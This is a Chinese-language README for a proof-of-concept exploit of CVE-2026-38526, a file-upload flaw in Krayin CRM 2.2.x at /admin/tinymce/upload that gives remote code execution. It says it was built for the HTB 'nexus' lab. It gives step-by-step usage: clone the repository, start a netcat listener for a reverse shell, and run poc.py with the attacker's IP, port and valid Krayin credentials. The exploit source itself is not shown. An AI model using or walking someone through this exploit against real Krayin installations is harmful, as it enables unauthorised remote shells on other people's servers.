CVE-2026-38526-PoC-htb-nexus

一个针对CVE-2026-38526的PoC脚本，通过webkul krayin 2.2.x的/admin/tinymce/upload端点中的文件上传漏洞实现远程代码执行（专为htb-nexus构建）

🛠 快速开始和使用

1. 克隆仓库：
   root@kitploit:~

   git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.git
   cd CVE-2026-38526-PoC-htb-nexus
   

2. 创建Python虚拟环境：
   root@kitploit:~

   python3 -m venv .venv
   source .venv/bin/activate
   

3. 安装依赖：
   root@kitploit:~

   pip install -r requirements.txt
   

4. 启动监听器：
   root@kitploit:~

   nc -lvnp <port number> (Default: 9001)
   

5. 执行脚本：
   root@kitploit:~

   python3 poc.py -i <your-ip> -p <listener-port-number> -e <valid-krayin-email> -P <valid-krayin-password> -u <url-excluding-protocol Default: http>